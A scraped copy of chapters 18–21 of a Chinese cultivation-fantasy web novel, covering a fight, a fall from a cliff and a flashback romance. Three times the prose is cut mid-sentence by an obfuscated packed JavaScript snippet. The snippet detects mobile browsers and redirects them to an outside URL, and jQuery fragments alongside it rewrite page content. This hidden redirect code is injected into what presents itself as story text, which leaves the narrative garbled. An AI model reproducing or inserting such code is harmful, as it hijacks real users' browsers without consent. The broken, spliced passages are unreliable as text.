秦扬看准时机,在攻向自己的剑即将刺中眉心时敏捷地一躲,来势汹汹的剑便直指身后不远处的林芷。 这一剑自然伤不了林芷,剑尖还未到她身前,便有护卫出手挡住了这一击。 但他护住了林芷,身后便有了一个缺口。 ——就是现在! 秦扬身形灵巧,眨眼间便从那个缺口闪身而入,下一瞬手中剑直指林芷持剑的手臂,想趁她吃痛松手时擒住她。 但是他失算了。 那一剑确实刺中了林芷小臂上,但却未能伤她分毫,那华美的衣服甚至连个洞都未破。 秦扬暗道一声不好,急急朝后退去,数柄利剑顷刻已至身前。 他一个扭身,险险避过斜刺而来的剑,但此时退路已全部被封锁,即便躲过这一击也已成为笼中兽,脱身已来不及了。 林芷看着被护卫围住的青年,浅笑着拍了拍刚刚被剑刺中的衣服,像是拂去落在上面的灰尘:“很惊讶吗?也对,这样的好东西你应该从未见过。” “上等鲛绡织就,以金线绣制各种护身符文,上阳宗最厉害的炼器师炼制了九九八十一天,方得这么一件法衣,就算是在这禁灵之地,普通刀剑也根本伤不了我。” “你为她拼死拼活又有什么用呢?待在永凌山,你一辈子都见不到这种东西。但若来上阳宗,想要多少我都能给你。” 18. 法衣 她的声音充满蛊惑,秦扬却依旧无动于衷,冷漠道:“抱歉,我对这些东西不感兴趣。” “这样啊。”林芷了然地点点头,十分善解人意,“你对这些东西不感兴趣,那看来是对死很感兴趣了!” 她缓缓说着话,手腕一翻挽了个剑花,是个再平常不过的起手式。下一瞬,轻灵的剑势陡然一变,裹挟着浓烈的杀意直冲秦扬要害而去! “铮——” 利刃相接的声音重重响起。 身无灵力的感觉真是让人不快,连个金丹期都能轻松接住她的剑。 但她如今可不是从前那个任人拿捏的蠢货了,林芷冷笑一声,不管不顾地再次攻了上去。 方才那些护卫不插手他们的争斗,是因为林芷并无危险,而刚刚秦扬已经对林芷出过手,此时见林芷这不顾自身安危的打法,他们也无法再坐视不理。 有了护卫的加入,没撑多久秦扬就落了下风,身上添了好几处伤口。 几招过后,秦扬单膝跪于地上,双手被反剪于身后,喉间横着把利剑。 林芷用剑尖挑起他的下巴:“怎么样?还硬气吗?” 秦扬冷冷看着她,一语不发。 看着秦扬那双肖似百年前的冷淡双眸,林芷怒从心起,这双眼睛真是看着就令人恶心! “你这双眼睛倒是生得不错,但看不清形势,留着也没什么必要,不如我替你挖出来吧?” 她用的是询问的语气,却并不需要谁的回答,剑尖往上移去,转瞬便来到了秦扬左眼。 “住手!” 林子满刚将身前人击倒,转眼便看见这惊险的一幕。 “你要报复的是我,与他人何干?!” 剑尖在距秦扬眼睛不过分毫之处停下,林芷转过身来,看向说话的人:“你既有自知之明,早些束手就擒不就好了?” “但他既然落在我手里,怎么处置都随我乐意,不过是要他一双眼睛罢了,就是要了他的命,你又能怎样?除非——”她吹了吹剑上的浮尘,漫不经心道,“你能做些有意思的事让我消消气。” 林子满:“你想怎么样?” 林芷故作苦恼地思索一番,勉为其难道:“不如你站在那儿,不闪不躲,让我刺上几剑?” “放心,只是给你留几个血窟窿,要不了你的命。”两人隔着人群对望,“你也知道,我不会让你死的这么容易的。” 林子满一边避开朝她而来的刀剑,一边皱眉思索着对策。 林芷恨她入骨,若当真如她所说,就这样束手就擒,他们估计都得交代在这里。 但若不依她,秦扬的眼睛肯定保不住,林芷说要剜了他的双眼,就当真做得出,绝不是说着玩玩的。 怎么办?这么个地方也不会有人突然出现救下他们。 现下当真是山穷水尽了。 突然,林子满脑中闪过林芷方才说过的话,一个不可思议的念头浮现在她脑海里。 莫名的眼熟,鲛绡织就,金线符文…… 难道是……那件衣裳? 可世上会有这么巧的事吗? 见林芷似是不耐,又转身对着秦扬举起了手中剑,她咬牙道:“我答应你!” 如今形势紧迫,只能死马当活马医,勉强试试了。 “不要!”被摁住的秦扬有些焦急,“你就算答应了她她也不会放过我们的!” 这一点林子满自然清楚,所以只能赌一把了。 “看不出来你还挺深情啊,不过是长了这么张脸,竟让你连命都不要了?”林芷嘲讽地笑了笑,“不过你那师兄若知道你这么深情,恐怕高兴不起来吧?” “你要泄愤便快些动手,不必说这些有的没的。”林子满冷冷道。 “你知道我最看不惯你们这些人什么吗?”她走近几步,“我最讨厌的就是你们总装出一副无所谓的样子,生死都不放在心上,好像多么云淡风轻、超凡脱俗一样。” 她脚尖点地,一跃而起,剑尖闪着嗜血的寒芒:“我倒要看看有几个人能不畏生死!” 林子满看准时机,语速飞快地念了句:“三二一,木头人!” 话音方落,只见林芷身形一顿,竟直接从半空中跌落下来,直直地躺在地上一动不动。 众人都被这一变故惊住了,护卫们也都是一愣,忙去查看她的情况,秦扬反应极快,趁此机会顺利脱身。 林子满松了口气,还好,她倒霉了大半辈子,好歹赌对了一次。 她抬脚刚想往秦扬那边走,就见他突然惊恐地睁大了眼,张口像是要对她说什么。 “小心!——” 随着他声音的传来,一柄剑从后方刺入她的右肩,穿透肩胛骨从前方刺出。 剧痛袭来,林子满眼前一花,她咬牙将抢来的剑换到左手,迅速往前跨出一大步,将剑顺势拔出自己的身体,而后转身奋力一击。 那人连连往后避去,却没人注意到他们已经逼近了洞口。 林子满手中的剑刺入他的身体,他一脚踩空跌出洞外。 刚刚那一连串动作耗去了林子满大部分力气,她脚下不稳,被手中剑带着狠狠往前跌去,一个趔趄,随那人一起冲出了洞口。 狂风呼啸着掠过她耳边,她好像还隐约听到了秦扬的声音。 这回是真的凶多吉少了,以前还是过于依赖灵力,都忘了作为一个普通人是很容易受伤这件事了。 林子满在空中往下坠时忍不住感叹,没想到这么一大把年纪了,还能被一群小辈给欺负了。 她倒也不是怕死,死了也就死了,没什么的,她很早以前就开始接受死亡这件事了。 她只希望秦扬能好好活着,虽然自己是看不到了,还是希望他能好好成长起来。 哦,还有莫叶声,挺好的小孩,本来有大好的前程,这次也是受了她的牵连。 希望他俩都能逃出去吧,林子满模模糊糊地想。 ****** “你总穿这么素净做什么?别的小姑娘在你这个年纪都打扮得花枝招展的,你怎么就老气横秋的呢?” “嫌我老?嫌我老你去找那些花枝招展的师妹啊,跟着我干什么?” “你怎么还听话听一半呢?我什么时候说你老了?我只是说你没有朝气。” “有什么区别?不都是一个意思? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902835|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你嫌弃我我还不稀罕你呢!哼,我去找迟渊师兄玩了。” “不许去!” 少女脚步一顿,挑眉惊讶地看着他:“你凶我?” “行吧,既然凶了你,就把这个送给你赔罪吧。”少年貌似不情愿地取出一套衣服递给她。 少女:“……” 这是什么神展开? 但看着眼前华美的衣裙,她又有些心动。 没有几个女孩子会不喜欢漂亮衣服的,只是曾经迫于生计,一件衣服她要穿好几年,已经习惯了将自己打扮得简单又普通。 就算来到这个世界以后,她有了无数件漂亮衣服可以选,也还是常年穿着一套素净的青色衣裙。 她不习惯穿那些华丽的衣裳出门,因为穿得过于华丽,就会总感觉别人在看她,令她浑身不自在。 “你磨蹭什么呢?还不去换上看合不合适?这法衣可是由吴长老亲自炼制了八十一天,若不是刚刚凶了你,我才舍不得赔给你。”少年语露不耐。 没拆穿他的小心思,女孩接过衣服走进屋内。 片刻之后—— “怎么样?”她有些紧张又期待地问。 少年转头,悄悄红了耳根,不自然地轻咳一声,眼神乱飘:“还行吧,既然刚好合身,你就穿着吧,给别人可能也不合身,就不浪费吴长老的心血了。” 女孩轻笑一声,鲛绡制成的衣裳可随穿着者的身形变化大小,哪里会有不合身一说? “你笑什么?”少年有种被看穿心思的恼怒。 “我笑有些人的嘴可真硬。” “你!”少年被这话噎住,随后意味不明地笑起来,“我看待会儿谁的嘴硬。” 女孩不明所以地看着他。 在少年念出几个字后,她感觉身上的衣服瞬间收紧,紧紧裹着自己的身体,令她一动不能动,她震惊地瞪大眼,发现连话都说不出来了。 少年凑上前来,伸手捏住她的脸蛋,揉搓捏扁成各种形状:“怎么样?还嘴硬吗?还敢笑话师兄吗?” 欣赏了一阵自己的杰作,少年终于大发慈悲准备放过她:“知道错了就眨两下眼,并且保证以后都不跟师兄顶嘴了,我就放开你。” 见女孩乖巧地眨了眨眼,他满意地打了个响指:“解。” 不曾想女孩一得了自由,立马抓住他的手腕,狠狠给了他一个过肩摔。 “啊——”一声哀嚎响起。 “你刚刚明明跟我保证过的!” “你只是让我保证以后不跟你顶嘴,没说不能揍你。” 女孩叉腰看着躺在地上的少年:“你以后再敢这样戏弄我,我非揍你顿狠的。” “真小气,开个玩笑嘛。”少年躺在地上哼哼唧唧。 女孩不理他,进屋将衣服换下,穿回原来那套衣裙。 “哎,你怎么换了,穿着不是挺好看的吗?” “谁知道你还在上面做了什么手脚,我可不敢穿。” “哪有,我只是在他们绣制符文时加了这么个小把戏而已,其他的我可没动。” “那我也不穿,万一被别人发现了,那我岂不是随时都能被定住?” 19. 崖底 少年从地上爬起来,笑着让她放心:“这是个音令符,只认我的声音,别人就算知道咒语也没用的。况且音令符只是个小把戏,都无需灵力催动,作用只能持续半刻钟,若真想要挣脱也废不了多大的功夫。” 听起来倒有些意思,女孩眼珠一转,心里有了想法:“那你能将我的声音也加上去吗?” “能是能,以你的声音为媒介再添一道音令符便是了,不过你加上去要做什么?”少年不解,“难不成你要将你自己定住?” “是啊,我就是想试试能不能将自己定住啊,你难道见过谁能将自己定住吗?” 这还真是没有,谁会吃饱了撑的把自己定住?不过听起来也有点意思,少年接过衣服:“那日后我将你的声音加上,我们就试试?” 女孩点点头,在他没注意时狡黠地笑了笑,到时候用在谁身上就说不好了。 “话说你怎么想到用这么个咒语?你从哪里听来的‘三二一,木头人’?”女孩用怀疑的眼神看着他,难不成他也是…… “你上次不是跟迟渊他们玩了很久这个吗?我听着有些意思,就拿来用了,鬼点子还挺多。”少年冷哼一声。 女孩松了口气,又有些失望,还以为能碰到个老乡呢,结果是从她这里听来的。 “我那不是闲的发慌么,找个乐子打发时间罢了。” 来了修真界,当然要玩不一样的木头人,御剑往前冲时猛地停住不动,还是格外刺激的,有几个学艺不精的摔得头破血流,险些去了半条命。 “从前学御剑的时候吓得要死,这么危险的事怎么不怕了?怎么偏巧当时我不在宗门里?没能见识到他们口中那个御剑术掌握得炉火纯青的林师妹,真是遗憾啊。” 听出他话里的阴阳怪气,女孩讨好地笑了笑:“那还不是师兄教得好,若不是师兄手把手教我,我可能至今还不敢御剑呢。” “行了,别拍马屁了,这次我就不跟师娘告你的状了,不过——”语气一顿,少年故作严肃道,“以后少跟他们混在一起做这种危险的事,我不在,掉下来看谁能接得住你,到时候摔了可别哭。” “是是是,我保证以后有师兄在的时候才玩这个。”女孩推着他往外走,“行了行了,别啰嗦了,你快去帮我加音令符吧。” “音令符要用雪蚕丝佐以鲛珠粉绣制,吴长老那里有的我都用完了,待我下次出门,找齐材料再给你添上吧。” “那你快些,明日便出门去寻。” “说的倒轻松,你以为跟后山的灵草似的,提把镰刀便能割一大捆?哪那么容易找着,哎,你别推我啊!” 二人拌着嘴走远,地上的影子乱作一团。 后来,材料找齐了,符文绣好了,少年却不在了,女孩也终究没能再穿上那件衣服。 ****** 林子满醒来时天已经黑了,她盯着眼前石壁上晃动的影子愣了好一会儿,才恍惚意识到今夕是何年。 不知从哪传来的虫鸣断断续续地响着,她偏头看了看右肩,发现被捅了一剑的地方已经被简单包扎过了,动一动还是疼的慌。 用完好的那只手撑着身体坐起来,林子满环顾四周,发现自己像是在一个山洞里,洞壁上还稀稀拉拉黏着几块青苔,身边有一团快燃尽的火堆,借着摇曳的火光,她看到了倒在一旁的秦扬。 他身上的衣服被体温捂得半干不湿的,还破了好几处口子,晕染出一片片血迹,看起来身上伤口不少。 林子满运气感受了一下,发现还是无法使用灵力,储物镯里的东西也拿不出来,想来是还没走出受限制的范围。 这处禁灵之地竟有这么大吗?从地面坠下以后,弯弯绕绕走了许久,又从那洞口摔下来,竟还在限制范围里。 永凌山的沁骨湖虽也是一处禁灵之地,却远没有这般大。 况且,沁骨湖上虽无法使用灵力,湖中央的寒月岛灵气却极为充沛,但这一路走来,好像并没有碰到这样的地方。 这样看来,他们虽暂无生命危险,想离开这里也还是件伤脑筋的事。 现在只能走一步看一步了,林子满为自己坎坷的命运默哀了几秒,伸手去解秦扬的腰带,打算为他处理一下伤口。 但衣衫褪去后,林子满却怔了怔,只见秦扬身上遍布着大大小小的伤口,除了刀剑刺出来的割裂伤,还有些坑坑洼洼的伤口。 林子满看着那些伤蹙起了眉头,怎么看起来像是被什么东西咬了一样? 抬手摸摸他的额头,她稍稍松了口气,秦扬身上虽一片冰凉,幸好还没发烧,不然在这秘境里还真是麻烦了。 她从衣服上撕下几块干净的布料,仔细擦拭秦扬身上的伤口,简单包扎后将他拖到火堆旁,又将他盖在自己身上的外袍重新披回他身上。 做完这些,林子满捂着因动作牵扯到伤口的右肩,走到洞口查看情况。 天上无星无月,是真真切切一块漆黑的天幕。 林子满举着临时扎出来的简陋火把,眯眼仔细观察着四周。 外面看起来是有一大片湖,一眼望去无边无际,水面泛着点点银光,像是有什么东西在随着水波浮动。 抬头往上只能看到黑压压的山壁,她应该就是从上面直直掉下来的,也不知秦扬是怎么回事,是被人打下来的,还是……跟着她一起跳下来的? 好在这山崖底下有片湖,若不是侥幸落在了湖里,现在哪还能有命在? 而他们如今藏身的这处山洞,确切说来也称不上是个山洞,只是两块巨石相错形成的一道裂缝。 林子满踏出山洞,见左右两边都望不到头,便随意选了个方向,踩着湖边的细碎的石子往前走去。 石滩越走越狭窄,最后湖面与石壁亲密无间地贴合在一起。 前面没有路了。 她拐了个弯,又去另一头看了看,发现是同样的情况。 他们被困在这山与湖之间一方小小的世界里了。 看来走是走不出去了,也不知道莫叶声怎么样了,林子满叹了口气,希望今晚不要下大雨,不然这湖面一升高,山洞保准会被淹掉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902836|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从石滩上捡来些枯枝丢入火堆,将火拨得旺了些,随后坐在一旁发起了呆。 望望石壁,瞧瞧火堆,视线不知不觉间落到了一旁的秦扬身上。 看着秦扬那张在火光映照下显出几分脆弱的脸,林子满不自觉便想起了曾经那个张扬肆意的少年,就像他的名字一样,明亮得仿佛夏日的骄阳。 但最终因为她,骄阳成了残烛。 又因为她,人死如灯灭,再不见踪影。 她伸手想要摸摸那张熟悉的脸,却不知想到什么,动作猛地一顿,久久没有动静,半晌有些畏惧似的,慢慢缩回了手。 她不敢。 好像只要她碰了,相似的事情就会再次发生。 她只能远远望着,不敢接近,不敢触碰。 第二天一早,林子满在阵阵鸟鸣声中醒来,发现秦扬不知何时醒了,正站在洞口观察着外面的情况。 秦扬听见动静转回身,快步向她走来:“感觉怎么样?伤口还疼吗?” 林子满摇摇头,笑道:“没什么大事,不必大惊小怪,这种伤我年轻时还是见多了的,毕竟比你多活几百岁。” 不疼才怪,过了一晚上更疼了好吧! 她暗暗咬紧牙根,保持着从容的微笑,年少时是见过许多大场面,但那些刀啊剑啊从来都是落在别人身上,她可没遭过这种罪! 秦扬在她面前蹲下,眉头微蹙地看了她一会儿,林子满正奇怪呢,就听他说:“别硬撑了,额头上青筋都疼出来了。” 林子满沉默地摸摸额角,只摸到一层薄汗,哪来的青筋? 真是不像话,现在马甲都掉了还敢打趣她,不想活了? 想到这儿,林子满有些奇怪,她看向秦扬,问出了自己心中的疑惑:“当时我身份暴露的时候,你怎么好像一点儿也不惊讶啊?” 秦扬沉默片刻,淡定地甩出一句话,直接惊呆了林子满。 “其实我早就猜到你的身份了。” 林子满:“???” 她演技明明很精湛啊,到底是哪儿出了纰漏? 林子满:“你什么时候发现的?” 秦扬:“见你第一眼的时候。” “怎么可能?!”想要看破千面妖丹的伪装,至少得高出使用者好几个大境界,秦扬怎么可能透过千面妖丹看出她的真容? 不对!重点是这个吗?重点是秦扬既然一早就识破了她的身份,那他这一路上都在装模作样地演些什么! 把她当傻子吗! 她已经要压不住脸上的怒意,秦扬却是不急不缓:“我曾在无为峰见过半幅残画,画上是一个女子。” 什么东西?一幅画?什么画? 林子满一脸迷惑,这是什么转移话题的新方式吗? “那个女子就是‘杨师姐’,所以我见长老的第一眼就起疑了。” 半幅残画,画上是她从前的样貌…… 林子满怔住了,久远的记忆在脑海里闪现。 是了,是有过这么一幅画。 20. 往事(一) 依旧是风暖大地的春三月,云簇烟融,桃花灼灼。 新入门的年轻弟子围在一起,叽叽喳喳地讨论着得失境的神秘莫测,眼里充满了好奇与探究。 “真是没见过世面,这秘境十年就要开一次,以后他们能来到烦,有什么可稀奇的。”迟渊双手枕在脑后,吊儿郎当地倚在一块大石头上,没个正形。 林子满打趣他:“你现在倒是不屑得很,当初第一次来的时候怎么激动成那样?” “当时不是年少无知么,还以为这上古遗留下来的得失境有多惊险刺激,结果来了几回,什么稀罕东西都没碰到,净是些普通妖兽。” “那你还次次都来?” “要不是我爹逼我,我才不来呢。”他无奈地撇嘴,“还说什么只是机缘未到,多来历练历练总是好的,我看我随便进个秘境都比来这儿收获大。” 杨之曜从一旁走来:“还是谨慎些为好,这得失境少说也有上万年的历史,不可能就是个普普通通的秘境,只是我们运气好,一直没碰上什么危险罢了。” “你过于紧张了吧,这得失境我们都来过三四回了,次次待满一个月才出去,不也什么事都没有?”迟渊搭上杨之曜的肩,欠欠地说,“那些小师妹知道她们英明神武的杨师兄胆子这么小,连进个得失境都顾虑重重吗?” 杨之曜凉凉地瞥了他一眼,其中的意思不言而喻。 迟渊后背一凉,忍不住缩了缩脖子,有些怂地松开手,刚想打个哈哈糊弄过去,胸口就受了剑鞘狠狠一击。 “走了!废话真多。” 林子满面无表情地收回手,转身就走。 杨之曜不敢多言,乖乖跟在她后头。 独留迟渊一人蹲在地上捂着胸口夸张地哀嚎:“哎哟……哎哟……师妹你下手也太狠了吧!嘶——我站都站不起来了,骨头一定断了!师妹你得对我负责啊!” 演了半天也不见有人搭理他,迟渊也觉得没劲了。 他拍拍身上的灰站起来,追上了他们的步伐:“师妹啊,你这气性有点大啊,我就随口一说,你怎么还不高兴了呢。我跟你说——唔!” 杨之曜捂住他的嘴,有些头疼地说:“你能不能少说几句,别在这儿讨打行吗?” 迟渊使劲扒下他的手:“哎——这话我可就不爱听了啊!什么叫我讨打?我说的明明是实话好吧!” 他险险避过杨之曜又来捂他嘴的手,大步逃窜到林子满面前:“师妹啊,人要放宽眼界,你杨师兄身边师姐师妹那么多,你大可早日踹了他,投入师兄我的怀抱嘛!何必惹得自己不开心!” 他张开双臂,热情地看着林子满。 林子满目不斜视地从他身边走过去。 杨之曜走上前来,一把薅过他的脖子,紧紧勒在臂弯里,皮笑肉不笑地威胁:“你要是再扯这些有的没的,我帮你瞒着的那些事,迟宗主可能一不小心就全知道了。你猜到时候投入你怀抱的是你爹的剑,还是你娘的鞭子呢?” 迟渊被勒的喘不过气来,他使劲拍打着杨之曜的手臂,很识时务地求饶了:“我错了、哥,我错了——” “咳咳咳、咳咳……”迟渊被放开以后咳得死去活来,“感情你们俩拈酸吃醋,可着我一个人霍霍呗!” 他愤怒的声音从后面传来,走在前面的两个人却头都不回。 “真生气了?”杨之曜看着林子满的脸色,试探地问。 “我生什么气?毕竟魅力太大也不是你的错啊。” 听出她的嘲讽,杨之曜有些委屈:“我已经在改了。” 林子满一噎,他确实在改了。 从前为人处事张扬不羁,一出场就能惹得众多小姑娘脸红心跳。后来对着外人便是一张棺材脸,一副冷漠高傲不想多说一句话的表情。 从前锦衣玉冠,一副少爷做派,最朴素的衣服都绣满暗纹,低调又奢华。如今一身鸦青色布衣,头上也只一根朴拙的木簪。 可这些改变依旧掩盖不住他的丰神俊朗,也挡不住那些前仆后继的姑娘。 魅力太大真不是他的错,林子满叹了口气,感到深深的无奈。 她并不是在哀怨自己配不上杨之曜。 平心而论,林子满这具身体的样貌虽称不上倾国倾城,但也是个能让人一眼惊艳的美人。 要论身份地位,她作为林征的独女,天赋也不差,是被当成继承人来培养的,不出意外的话上阳宗将来是要交到她手上的。 离谱就离谱在即便杨之曜将自己的心意说的明明白白,也没有几个人相信两人最终会在一起。 因为杨之曜虽然天赋异禀,年纪轻轻就已结婴,身份背景却平平无奇。 在凡间,侯府世子已经是很尊贵的身份了,除开皇室宗亲,与谁相配都是绰绰有余,但这可是在修真界啊!君不见古往今来多少帝王沉迷于求仙问道,区区一个侯府世子,实在不能让他们另眼相待。 作为上阳宗少宗主,林子满未来的道侣自然要有足够高的身份与之相配,这样两大宗门强强联合、资源共享,上阳宗这天下第一宗的位子才能坐得更牢。 林子满实在想不明白,修真界为什么也要像凡人一样搞门当户对那套,他们更应该做的难道不是好好提升修为吗?拳头硬才是硬道理好吧! “其实我有时候挺嫉妒迟渊的,所有人都觉得你们才是最登对的。”杨之曜叹了口气,“说来还是我配不上你。” 林子满怒视他:“不许你这样说自己!” 看着杨之曜有些落寞的脸,林子满有些难过,他从小就是外人眼中的天之骄子,现在面对她却会不自觉地自卑。 “其实我也不是生你的气,我知道你的心思都在我身上。可是只要想到别人对你抱有其他的想法,我心里就会很不舒服。”林子满有些难为情地说。 可能是因为她拥有过的东西太少,对于自己的爱人,她的占有欲格外的强,有时候甚至会想如果他没有那么耀眼就好了,这样就只有自己能看到他的好。 她知道这样不对,太偏执了。 但她已经在尽力克制自己了,毕竟杨之曜是一个活生生的人,有自己的人生,并不是她的所有物,被当成附属品谁都不会开心的。 说出自己内心真正的想法,林子满是有些忐忑的,她怕杨之曜生气,怕他觉得自己内心阴暗。 但杨之曜并未生气,反而开心起来:“这没什么不好,你能这样想我很高兴。” 他凑近林子满,在她耳边轻声说道:“毕竟我对你也是这样的想法,想把你藏起来,只给我一个人看。” 林子满的脸烧起来,杨之曜低沉的嗓音仿佛顺着她的耳膜爬进了心里,挠得她全身发麻。 “行了,别说这些了,迟渊过来了。”她推开杨之曜,借着凉风吹散脸上的热意。 杨之曜有些遗憾地看了一眼她绯红的脸颊,他还没来得及做什么呢。 迟渊一路叭叭地走过来,嘴里念叨的全是他们两个怎么怎么欺负人。 走近后他话音一顿,狐疑地打量着林子满,眼神在两人身上转了几个来回,反应过来后怒道:“光天化日朗朗乾坤,你们俩背着我干什么呢!” “嚯!你们真够意思啊,两人吵架把我打一顿,转头就在这儿卿卿我我!你们有考虑过我的感受吗?!” “闭嘴!”林子满有些羞愤地开口,“你再多嘴信不信我打掉你的牙!” 迟渊连忙捂住嘴,示意自己不敢了。 看着她落荒而逃的背影,他不解地问杨之曜:“为什么要打掉我的牙?一般不都说拔掉舌头吗?我又不用牙说话。” 杨之曜笑而不语,怎么这么容易害羞。 看着他脸上的神情,迟渊有些恶寒地搓了搓胳膊上的鸡皮疙瘩:“你那什么表情,还能更恶心点吗?” 杨之曜高深莫测地瞥他一眼:“你还年轻,不理解是正常的,以后自然会懂的。” “你什么意思,说谁嫩呢?论起来你都得叫我声师兄!”迟渊怒道,“真是太过分了!天天刺激我,我是哪根筋搭错了才会跟你们一起历练!” 他骂骂咧咧地往林子满离开的方向走去,没走几步又回过头:“还不走?等会儿林大小姐又要生气了,这次我可不会再傻不愣登地受你们折腾!” 橘色的夕阳下,闹腾的三人迎着余晖走向秘境深处。 是夜,三人直到夜深都没找到处山洞过夜。 好在秘境里参天古树不少,找棵枝干平整些的凑活一晚倒也不是不行。 各自在树上寻了个舒服的位置躺下,迟渊捏诀布下一道结界,将他们的声息隐匿其中。 得失境里无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902837|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星无月,到了晚上便是漆黑一片,偶尔飞过的流萤也只能照亮一小片地方。 林子满倚靠着树干昏昏欲睡,正要陷入沉眠,便被隐隐传来的声音惊醒。 她睁开眼睛,看见迟渊与她一同睁眼,而杨之曜已经处于戒备状态,正警惕地看着不远处的地面。 那里有几团晃动着的光。 待那团光亮靠近,他们才看清是几个手持照明符箓的人。 林子满微微松了口气,还以为大半夜的来了什么妖兽。 那几人找了处空旷些的地方,燃起一团火后围坐在一起闲聊,像是也没寻到落脚处,又怕遇到妖兽突袭,只能枯坐着等天明。 长夜漫漫不好打发,几人从探讨修炼心得聊到了凡间小吃,话题几度转换,来到了他们爱慕的姑娘身上。 林子满双手枕在脑后,听他们争论到底是你的师妹好看还是他的师姐美,觉得自己可能见识到传说中的男生寝室是什么样的了。 但没想到很快,她就吃瓜吃到自己头上了。 一个名字从他们嘴里蹦出,树上的三人都将视线移了下去。 “虽然很多人都说上阳宗那位林大小姐长得美,什么清丽如雪莲、出尘若谪仙,我觉得她还是差了点意思,不如清风门的乔师姐有味道。” 旁边有人附和:“我也这么觉得,这世上有几个人能抵挡得了乔师姐那一袭红裙?林芷满跟她比起来还是太清汤寡水了。” “你们懂什么,有的人表面上装的清冷孤高,私下里不知多么放浪形骸,越是这种看起来不食人间烟火的,征服起来越有成就感,不然哪来那么多人前仆后继?”有个尖嘴猴腮的人笑起来,一脸猥琐样。 杨之曜看着底下说话的人眯了眯眼,长长的眼睫遮住了冷意。 林子满倒是不太在意,这些人平时见着她,哪个不是唯唯诺诺,大气也不敢出?但想来心里也是不服气的,便只能在背后胡乱嚼些舌根子,过过嘴瘾罢了。 被人说两句有什么大不了呢?不痛不痒的。 谁人背后不被说?若真要计较,她自己倒要先气死了。 底下的几人还在继续—— “你也不想想人家什么身份,若能与她合籍,便能白得偌大一个上阳宗,谁不心动啊,这搁你身上你不愿意吗?” “我们愿不愿意有什么用?就这点家底,人家也看不上啊!你看杨之曜,他倒是愿意的很,不也没什么用?” “我觉得杨师兄有戏,他毕竟是林宗主的得意爱徒,天资卓越,未来不可估量,说不定真能抱得美人归。” “嗤,他再厉害又能如何?上阳宗与蕉林谷向来交好,谁是最后的赢家还不明显吗?”一名三角眼的男子讥讽道,“他也就只能凭那张脸勾搭一下那些没什么见识的姑娘,世家大族的小姐哪里看得上他?” “你这话可真酸啊,还想着你那师妹呢?”有人揶揄他。 这人有一师妹,与他青梅竹马一起长大,本以为将来必是一对眷侣,不成想一次外出历练时遇险,被恰好路过的杨之曜从妖兽口中救下。 从此他心心念念多年的师妹,眼里心里装的只有她的“杨师兄”。 还歉疚地说她只把他当兄长,结为道侣一事只是儿时不懂事的戏言。 这怎么能让他不恨! 此后凡是与杨之曜有关的话题,他都要不遗余力地去抹黑一番。 “我说你就早些死心吧,那不是有句话叫什么来着……” “天涯何处无芳草。”有人补充道。 “喔,对!天涯何处无芳草!你何必一直想着你那师妹?况且她长得也不是多好看啊。” “我就是咽不下这口气!”三角眼恨恨道,“就为了那么个小白脸,不顾我们十几年的情谊!杨之曜不就是长得好看些么,肤浅! 有人听不下去了:“说句公道话,人家也不是只有脸能看,修为也高啊,听说已经元婴后期了,过不了多久就要进阶化神期了!” “真的假的,这么快?” 其余几人都在惊叹杨之曜修行速度之快,三角眼还在愤愤不平自己的师妹。 “若论修为,宗门里的长老修为不是更高吗?那么多的长老,怎么不见她倾慕?” 其他人:“……” 兄弟,你的角度还真是清奇啊。 21. 往事(二) 树下的人讨论得热火朝天,树上的三人气氛逐渐凝重。 身为话题里最有可能抱得美人归的最终赢家,迟渊有些尴尬地摸了摸鼻子:“哈哈,那什么,他们都是乱说的,你们别放在心上。” “不然呢?”林子满莫名其妙地瞪了他一眼,“难不成我爹真把我嫁给你这样的啊?想得倒美!” 迟渊:“……” 他也没有很差吧?! 杨之曜朝林子满安抚地笑笑:“别怕,我只会让你嫁给我的。” 林子满有些不自在地别过脸:“谁要嫁给你。” 杨之曜:“不嫁给我可就要嫁给迟渊了,还是选我靠谱些。” 林子满换了个姿势,背过身躺下,假装自己没听见。 杨之曜凑过去,低笑着在她耳边说了些什么,引来林子满一顿怒捶。 迟渊:“……” 他愤怒地“喂”了一声,这还有一个人呢!打情骂俏能不能避开一下啊,当他不存在吗?! 但无人理会他的愤怒,那两人忙着窃窃私语咬耳朵呢。 迟渊愤愤躺下,拎起衣摆盖在脸上。 眼不见为净! 夜色沉沉,林中此起彼伏的虫鸣渐渐消失了。 围坐在火堆旁的几人昏昏欲睡,却不敢真的睡过去,一夜不睡顶多累些,睡着遭了偷袭可就得不偿失了。 他们的修为都不算高,也并不怎么信任同行的伙伴,只能自己警醒些。 一阵风吹过,本就不旺的火突然灭了。 